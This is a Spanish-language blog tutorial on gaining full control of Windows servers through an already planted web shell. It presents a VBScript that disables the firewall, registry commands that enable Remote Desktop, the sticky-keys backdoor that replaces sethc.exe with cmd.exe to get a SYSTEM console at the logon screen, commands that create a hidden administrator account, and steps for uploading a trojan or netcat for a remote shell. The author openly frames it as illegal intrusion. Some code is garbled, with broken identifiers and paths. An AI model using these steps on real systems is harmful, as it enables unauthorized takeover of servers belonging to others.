Rootear Servidores Windows
Este es el tutorial Rooteando Servidores , Sirve con cualquier tipo de servidor Windows.
Como
ya se ha explicado en el primer tuto no voy a volver a explicar lo que
es el Rooteo ni nada referente a las WebShell, permisos, ni directivas
PHP.
Cabe destacar que teniendo una WebShell en un servidor Windows
es como tener total control de la Shell de Windows, ya que podemos
ejecutar cualquier tipo de orden mediante la WebShell.
1 - 50% de posibilidades.
2 - Bypasseando el Firewall.
3 - Backdoorizando (Terminal Server).
4 - Accediendo como SYSYEM (root de Windows).
5 - Terminal Server sin usuario SYSTEM (Alternativa).
6 - Troyanizando (Alternativa).
7 - Obteniendo Shell con NetCat (Alternativa).
1 - 50% de posibilidades
¿50%?
Si,
el cincuenta por ciento de posibilidades que tenemos para que todo
salga, o todo no salga (suponiendo que ya hayamos bypasseado lo que
debamos haber bypasseado).
¿Por qué esto es así?
Esto es así
debido que la persona que haya montado el servidor o servidores haya
decidido correrlos con una cuenta Limitada o una de Administrador.
Para poder realizar el rooteo, nos debe haber tocado una cuenta de Administrador (lo más normal es que sí).
La siguiente imagen lo explica:

Como podemos ver, necesitamos por lo menos Instalar programas y hardware ,realizar cambios en todo el sistema y crear cuentas de usuario (esta es opcional).
2 - Bypasseando el Firewall
Bueno, esto no es muy dificil, ya que simplemente deberemos ejecutar un script Visual Basic Script (VBScript).
Abrimos un editor de texto, y pegamos el siguiente code VBS:
Citar
Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.Lo calPolicy.Curr entProfile
objPolicy.Fire wallEnabled = false
Set objPolicy = objFirewall.Lo calPolicy.Curr entProfile
objPolicy.Fire wallEnabled = false
Este code lo guardamos como, firewall.vbs.
Ahora solo debemos
subirlo mediante la WebShell al directorio que sea, y en ese mismo
directorio ejecutar esto en la entrada de comandos de la WebShell:
Código:
rutadelarchivofirewall.vbs
Es decir, imaginemos que hemos viajado hasta el disco C: :
Código:
C:firewall.vbs
Chao Firewall .
3 - Backdoorizando (Terminal Server)
Bien,
esto consiste en habilitarle el servidor de Terminal Server, Escritorio
Remoto de Windows en otras palabras, y de paso cambiarle sethc.exe por
cmd.exe.
Lo seguis hasta el paso 2.1), y copiais el segundo code, lo guardais como backdoor.bat y ya
Cuando
esté el .bat listo, simplemente habrá que subirlo mediante la WebShell
al directorio que se quiera y hacer lo mismo que con el VBScript:
Código:
rutadelarchivobackdoor.bat
En caso de estar en C: :
Código:
C:backdoor.bat
Ahora rezemos porque se haya abierto el puerto en el Router
4 - Accediendo como SYSYEM (root de Windows)
Si
se ha backdoorizado correctamente y nuestro señor nos ha abierto el
puerto en el Router (XD), bastaría con hacerle una visitita con nuestro
cliente de escritorio remoto o rdesktop de Linux.
En el caso que estemos en Windows:
Inicio, ejecutar, mstsc.exe o IinicioTodos los ProgramasAccesoriosComunicacionesConexion a Escritorio Remoto.
En ese menú, le damos al botón [Opciones >>]
Luego nos pasamos a la pestaña "Recursos locales"
y cambiamos solo la opcion "Teclado", desplegamos la lista y seleccionamos "En el equipo remoto".
En el caso de Linux no hay que configurar eso, ya que siempre se ejecuta en el equipo remoto.
Llegó la hora de la verdad...
Abriremos
nuestra consola y haremos un ping a la web, de forma que nos devuelva
la Ip del servidor en el que se aloja y hemos backdoorizado.
Citar
ping www.pagina.com
Haciendo ping a www.pagina.com [123.123.123.12 3] con 32 bytes de datos:
Respuesta desde 123.123.123.12 3: bytes=32 tiempo=71ms TTL=246
Respuesta desde 123.123.123.12 3: bytes=32 tiempo=56ms TTL=246
Respuesta desde 123.123.123.12 3: bytes=32 tiempo=62ms TTL=246
Respuesta desde 123.123.123.12 3: bytes=32 tiempo=62ms TTL=246
Estadísticas de ping para 123.123.123.12 3:
Paquetes: enviados = 4, recibidos = 4, perdidos = 0
(0% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
Mínimo = 56ms, Máximo = 71ms, Media = 62ms
Haciendo ping a www.pagina.com [123.123.123.12 3] con 32 bytes de datos:
Respuesta desde 123.123.123.12 3: bytes=32 tiempo=71ms TTL=246
Respuesta desde 123.123.123.12 3: bytes=32 tiempo=56ms TTL=246
Respuesta desde 123.123.123.12 3: bytes=32 tiempo=62ms TTL=246
Respuesta desde 123.123.123.12 3: bytes=32 tiempo=62ms TTL=246
Estadísticas de ping para 123.123.123.12 3:
Paquetes: enviados = 4, recibidos = 4, perdidos = 0
(0% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
Mínimo = 56ms, Máximo = 71ms, Media = 62ms
Eso en Win, en Linux es igual.
Bueno, a nosotros nos interesa la parte roja, que es la Ip del servidor en el que se aloja la Web.
Esa es la Ip que debemos introducir en el cliente de escritorio remoto.
En Windows con el cliente abierto:
Código:
Equipo: [123.123.123.123]
[Conectar]
Simplemente le damos a conectar.
En Linux abrimos una terminal e introducimos:
Código:
rdesktop 123.123.123.123
Bueno, si el señor fué bueno y nos abrio el puerto en el Router,
deberiamos estar en el Logon de Windows, donde nos pide un usuario y
una password.
Aunque no la sepamos, como habíamos Backdoorizado con el .bat de 3D1, al presionar 5 veces la tecla shift:

Se nos abrirá una consola situada en la raíz del systema, osease, system32...
Povale, que bien XD.
¿Pero donde está el SYSTEM?
Bueno, si quereis enteraros de como funciona la cosa clickead aquí, si quereis ahorrar el paso de leerlo haced lo siguiente:
Situados en la Consola que se abrio en el Logon del servidor, teclead explorer.exe,
y bueno, lo que pasa en windows es que al haber abierto una Consola sin
que haya sido abierta desde el menu ejecutar, herramientas en el
inicio, o desde la carpeta system32, se abrira con el nombre de
svchost.exe, y al ejecutar el proceso explorer, se abrirá el escritorio
y nuestro usuario será SYSTEM, que viene a ser algo así como el root de
Windows, ojo, que no es un root como el de Linux o Unix, es un root
oculto que en principio no se debería saber de él (
somos kakers que nos saltamos la ley .
Bueo, a la cosa, ejecutamos explorer.exe y se nos abrira el escritorio...
Pulsamos el boton de la tecla inicio, miramos el usuario...
¡SYSTEM!
¡Somos root en windows sin necesidad de root exploits!
Ya podeis si quereis cerrar la consola, teclear Alt Ctrl Supr y en la pestaña procesos cerrar winlogon.exe, que sino se nos quedará de fondo de pantalla lo de meter el usuario y password .
5 - Terminal Server sin usuario SYSTEM
¿Qué quiere decir esto?
Pues que para realizar esta conexión, no vamos a sustituir sethc.exe por cmd.exe, sino que vamos a hacer una conexión normal.
Para esto, se debe de crear un bat que habilite Terminal Server (Escritorio Remoto de Windows) de la siguiente manera:
Código:
reg delete "HKLMSystemCurrentControlSetControlTerminal Server" /v fDenyTSConnect ions /f
reg add "HKLMSystemCurrentControlSetControlTerminal Server" /v fDenyTSConnect ions /t "REG_DWORD" /d 0
Sacado del tuto de 3D1.
Borra la clave del registro que bloquea las conexiones entranter de Terminal Server y crea una clave que las acepta.
Eso lo guardamos como escritorio.bat .
Entonces hacemos mano de nuestra WebShell, subimos el bat y hacemos lo siguiente:
Código:
rutadelbatescritorio.bat
Es decir, si lo hemos subido en C: :
Código:
C:escritorio.bat
Bueno, con eso se supone que el servidor de termial server está activo en el servidor remoto.
Ahora tenemos que crear un usuario con derechos de administador para poder conectarnos.
Vamos a la entrada de comandos de la WebShell y escribimos:
Código:
Net User Nombre Contraseña /add
Por ejemplo, si de nombre le queremos poner messerschmitt y de contraseña 123456:
Código:
Net User messerschmitt 123456 /add
Vale, ya hemos creado un usuario, pero todavía no tiene privilegios de administrador, para dárselos, hacemos lo siguiente:
Código:
Net Localgroup Administrators Nombre /add
Si el usuario que hemos creado es messerschmitt:
Código:
Net Localgroup Administrators messerschmitt /add
Bueno, como ya tenemos el Terminal Server activo y corriendo, y
un usuario con privilegios de adminstrador, solo queda conectarnos vía
Escritorio Remoto, poner de nombre messerschmitt y contraseña 123456, y
boilá, tenemos el servidor en nuestras manos
6 - Troyanizando
Bueno, esta parte es la más fácil y lammer con menos mérito.
Simplemente hay que hacer mano de la WebShell, subir nuestro troyano, y ejecutarlo mediante la entrada de comandos:
Código:
rutadeltroyanoserver.exe
Es decir, si lo hemos subido a C: :
Código:
C:server.exe
Y boilá, hemos infectado un servidor remoto sin necesidad de tratar con el dueño por msn
Aunque
personalmente prefiero todo el método de backdoorizar y acceder como
SYSTEM, que aunque sea más largo y tedioso es la verdadera forma de
hacer las cosas bien, enterandote de cómo son.
7 - Obteniendo Shell con NetCat
Es
simple, simplemente tenemos que obtener a NetCat para sistemas Windows
y subirlo a la raíz del servidor, así que cojemos nuestra WebShell, nos
dirigimos a system32, y subimos nuestro nc.exe.
Como ya sabemos obtener una shell ya bien sea inversa o directa lo haremos con la entrada de comandos de la WebShell


























No hay comentarios:
Publicar un comentario